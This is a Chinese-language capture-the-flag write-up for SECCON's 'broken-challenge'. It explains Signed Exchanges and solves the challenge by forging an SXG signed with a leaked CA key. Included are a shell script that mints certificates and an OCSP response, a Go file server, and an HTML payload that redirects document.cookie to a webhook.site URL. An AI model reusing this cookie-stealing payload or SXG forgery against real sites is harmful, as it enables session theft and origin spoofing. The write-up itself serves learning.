broken-challenge

自己看了做不出来,借鉴大佬的wp学习了。

考点:sxg窃取cookie

SXG机制

SXG 全名是Signed Exchange,是一种 让内容可以被安全地“转载”或“预加载”的技术。

1
SXG 使用缓存来预提取和传送已由来源进行加密签名的内容。这有助于加快从引荐来源网站进行跨源导航的速度,同时确保网页保持不变,并正确归因于其来源。

SXG 文件封装在二进制编码文件中,该文件包含两个主要组件:HTTP 交换和涵盖该交换的签名。HTTP 交换由请求网址、内容协商信息和 HTTP 响应组成。解码后的SXG长下面这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
format version: 1b3
request:
method: GET
uri: https://example.org/
headers:
response:
status: 200
headers:
Cache-Control: max-age=604800
Digest: mi-sha256-03=kcwVP6aOwYmA/j9JbUU0GbuiZdnjaBVB/1ag6miNUMY=
Expires: Mon, 24 Aug 2020 16:08:24 GMT
Content-Type: text/html; charset=UTF-8
Content-Encoding: mi-sha256-03
Date: Mon, 17 Aug 2020 16:08:24 GMT
Vary: Accept-Encoding
signature:
label;cert-sha256=<em>ViFgi0WfQ+NotPJf8PBo2T5dEuZ13NdZefPybXq/HhE=</em>;
cert-url=&quot;https://test.web.app/ViFgi0WfQ-NotPJf8PBo2T5dEuZ13NdZefPybXq_HhE&quot;;
date=1597680503;expires=1598285303;integrity=&quot;digest/mi-sha256-03&quot;;sig=<em>MEUCIQD5VqojZ1ujXXQaBt1CPKgJxuJTvFlIGLgkyNkC6d7LdAIgQUQ8lC4eaoxBjcVNKLrbS9kRMoCHKG67MweqNXy6wJg=</em>;
validity-url=&quot;https://example.org/webpkg/validity&quot;
header integrity: sha256-Gl9bFHnNvHppKsv+bFEZwlYbbJ4vyf4MnaMMvTitTGQ=</p>

<p>The exchange has a valid signature.
payload [1256 bytes]:</p>
<pre class="prettyprint"><code>&lt;title&gt;SXG example&lt;/title&gt;
&lt;meta charset=&#34;utf-8&#34;&gt;
&lt;meta http-equiv=&#34;Content-type&#34; content=&#34;text/html; charset=utf-8&#34;&gt;
&lt;style type=&#34;text/css&#34;&gt;
body {
background-color: #f0f0f2;
margin: 0;
padding: 0;
}
&lt;/style&gt;
</code></pre>
<div>
<h1>Hello</h1>
</div>

<p>

工作流程

1
2
3
4
5
6
7
8
9
10
11
发布者(如 example.com)生成一个特殊格式的 .sxg 文件。这个文件里包含了:
完整的网页内容(HTML、CSS、JS 等)。
一个数字签名(这就是“SXG签名”),用于证明这个内容确实来自 example.com,且在签名后没有被篡改。
签名的有效期(例如 7 天)。
分发者(如 Google)获取这个 .sxg 文件,并存储在自己的 CDN 上。
用户点击搜索结果时,浏览器从 Google 的 CDN 快速加载 .sxg 文件。

浏览器收到文件后:
验证签名是否有效(确保证书合法、内容未篡改)。
验证签名中的网址是否与内容声称的来源一致。
如果全部通过,浏览器就会像直接从 example.com 加载一样渲染页面,并在地址栏显示 https://example.com/article。

我个人把这个sxg文件理解为一种”缓存文件”,浏览器通过加载这个sxg文件,可以增快加载速度,这样提升速度。

回到题目

题目源码index.js定义了一个bot路由 hint路由会把cert.key回显给我们

查看conf.js 这里定义了flag在cookie里 这里有一个关键点就是只有当我们的domain是hack.the.planet.seccon时候 才会把cookie设置为我们的flag。

那么域名来自于hack.the.planet.seccon,所以这里我们就需要伪造sxg文件来达到这个目的从而拿到flag

伪造sxg文件

需要cert.key和cert.crt

写一个1.sh文件

1
./1.sh https://your_ip:8080/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/bin/sh

URL=$1

rm -rf server.key cert.csr cert.pem cert.cbor cert.oscp index.txt exploit.sxg

openssl ecparam -name prime256v1 -genkey -out server.key

openssl req -new -sha256 -key server.key -out cert.csr \
-subj "/CN=hack.the.planet.seccon"

openssl x509 -req -days 90 -in cert.csr \
-CA cert.crt -CAkey cert.key -CAcreateserial \
-out cert.pem \
-extfile <(echo -e "1.3.6.1.4.1.11129.2.1.22 = ASN1:NULL\nsubjectAltName=DNS:hack.the.planet.seccon")

SERIAL=$(openssl x509 -in cert.pem -serial -noout | cut -d= -f2)

echo -e "V\t301231235959Z\t\t${SERIAL}\tunknown\t/CN=hack.the.planet.seccon" > index.txt

openssl ocsp -index index.txt \
-rsigner cert.crt -rkey cert.key \
-CA cert.crt \
-issuer cert.crt \
-serial "0x${SERIAL}" \
-respout cert.ocsp \
-ndays 7

gen-certurl -pem cert.pem -ocsp cert.ocsp > cert.cbor

gen-signedexchange \
-uri https://hack.the.planet.seccon/index.html \
-content index.html \
-certificate cert.pem \
-privateKey server.key \
-certUrl $URL/cert.cbor \
-validityUrl https://hack.the.planet.seccon/validity \
-o exploit.sxg

index.html

1
2
3
4
5
6
7
8
9
<html>
<body>
<script>
window.location =
"https://webhook.site/8a43c6eb-66fb-46d1-9101-20fb28129c85?cookie=" +
encodeURIComponent(document.cookie);
</script>
</body>
</html>

起服务这样写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package main

import (
"log"
"net/http"
"path/filepath"
"strings"
)

func main() {
fs := http.FileServer(http.Dir("."))

http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
ext := strings.ToLower(filepath.Ext(r.URL.Path))
switch ext {
case ".sxg":
w.Header().Set("Content-Type", "application/signed-exchange;v=b3")
case ".cbor":
w.Header().Set("Content-Type", "application/cert-chain+cbor")
}

w.Header().Set("X-Content-Type-Options", "nosniff")
w.Header().Set("Cache-Control", "no-store")

fs.ServeHTTP(w, r)
})

log.Println("Serving on :8080")
if err := http.ListenAndServe(":8080", nil); err != nil {
log.Fatal(err)
}
}

bot那写

1
https://your_ip:8080/expolit.sxg

webhook接收到 cookie即可看到flag

还需要注意的点就是 https才能加载sxg